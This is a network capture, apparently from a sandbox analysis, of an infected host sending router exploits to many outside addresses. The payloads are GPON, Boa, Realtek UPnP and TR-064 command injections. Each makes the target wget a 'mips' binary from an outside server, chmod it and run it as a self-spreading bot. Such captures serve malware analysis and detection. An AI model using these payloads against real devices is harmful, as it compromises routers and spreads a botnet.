20 45 72 72 6f 72 3a 20 34 30 34 20 2d 2d 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 32 3e 0d 0a 3c 70 72 65 3e 3c 2f 70 72 65 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <!DOCTYPE html><head> <title>Not Found</title> <link rel="shortcut icon" href="data:image/x-icon;," type="image/x-icon"></head><body><h2>Access Error: 404 -- Not Found</h2><pre></pre></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
681	192.168.2.13	40750	34.147.189.161	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.799741983 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.088074923 CEST	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Mon, 15 Apr 2024 06:53:06 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
682	192.168.2.13	54336	213.188.194.74	1723

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.802721024 CEST	313	OUT	GET /boaform/admin/formPing?target_addr=%3Bcd%20%2Ftmp%3B%20wget%20http%3A%2F%2F213.232.235.166%2Fmips%3B%20chmod%20777%20mips%3B%20.%20%2Fmips%20netlink.selfrep%3B&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Hello, World

Session ID	Source IP	Source Port	Destination IP	Destination Port
683	192.168.2.13	38352	176.60.167.160	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.838737011 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.926548004 CEST	150	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>
Apr 15, 2024 08:53:08.266751051 CEST	150	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
684	192.168.2.13	53664	63.41.214.178	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:06.961828947 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.219815016 CEST	487	IN	HTTP/1.1 400 Bad Request Content-Type: text/html Content-Length: 345 Connection: close Date: Mon, 15 Apr 2024 08:14:46 GMT Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 Bad Request</title> </head> <body> <h1>400 Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
685	192.168.2.13	52284	211.149.167.187	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.068530083 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
686	192.168.2.13	36710	83.66.234.167	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.073622942 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
687	192.168.2.13	56252	182.16.188.82	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.141453981 CEST	916	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 74 6d 70 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 38 35 2e 31 30 2e 36 38 2e 31 32 37 2f 6d 69 70 73 20 2d 4f 20 2f 74 6d 70 2f 61 3b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /tmp; wget http://185.10.68.127/mips -O /tmp/a;`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
688	192.168.2.13	58570	212.72.14.74	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.162837982 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.586549997 CEST	404	IN	HTTP/1.1 400 Bad Request Date: Mon, 15 Apr 2024 06:51:56 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.13	56672	3.232.250.104	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.447726965 CEST	319	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.662798882 CEST	284	IN	HTTP/1.1 400 Bad Request Server: awselb/2.0 Date: Mon, 15 Apr 2024 06:53:07 GMT Content-Type: text/html Content-Length: 122 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.13	34100	16.182.100.252	80

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.448170900 CEST	307	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 32 31 33 2e 32 33 32 2e 32 33 35 2e 31 36 36 2f 6d 69 70 73 3b 63 68 6d 6f 64 2b 37 37 37 2b 6d 69 70 73 3b 2e 2f 6d 69 70 73 2b 67 70 6f 6e 2e 73 65 6c 66 72 65 70 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://213.232.235.166/mips;chmod+777+mips;./mips+gpon.selfrep`&ipv=0
Apr 15, 2024 08:53:07.664918900 CEST	256	IN	HTTP/1.1 400 Bad Request Transfer-Encoding: chunked Date: Mon, 15 Apr 2024 06:53:07 GMT Server: AmazonS3 x-amz-request-id: 482GKSPJ1RTQB8NQ x-amz-id-2: +HcKl83wo+CiWBRPh3NKWLkWrPWxNdsEqpaWnwB+iYlmS8RqAkU6N0+le6TR/Ln2pCc9JziZotA= Connection: close
Apr 15, 2024 08:53:07.664932966 CEST	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0
Apr 15, 2024 08:53:07.877942085 CEST	261	IN	HTTP/1.1 400 Bad Request Transfer-Encoding: chunked Date: Mon, 15 Apr 2024 06:53:07 GMT Server: AmazonS3 x-amz-request-id: 482GKSPJ1RTQB8NQ x-amz-id-2: +HcKl83wo+CiWBRPh3NKWLkWrPWxNdsEqpaWnwB+iYlmS8RqAkU6N0+le6TR/Ln2pCc9JziZotA= Connection: close Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.13	56254	182.16.188.82	52869

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.479921103 CEST	906	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 61 3b 20 2f 74 6d 70 2f 61 20 72 65 61 6c 74 65 6b 2e 73 65 6c 66 72 65 70 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`chmod 777 /tmp/a; /tmp/a realtek.selfrep`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.13	34448	37.104.183.34	7547

Timestamp	Bytes transferred	Direction	Data
Apr 15, 2024 08:53:07.529103041 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:09.376436949 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Apr 15, 2024 08:53:11.776441097 CEST	707	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: Messiah/2.0 SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>$(cd /tmp; chmod 777 mips; ./mips tr064.selfrep;)</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
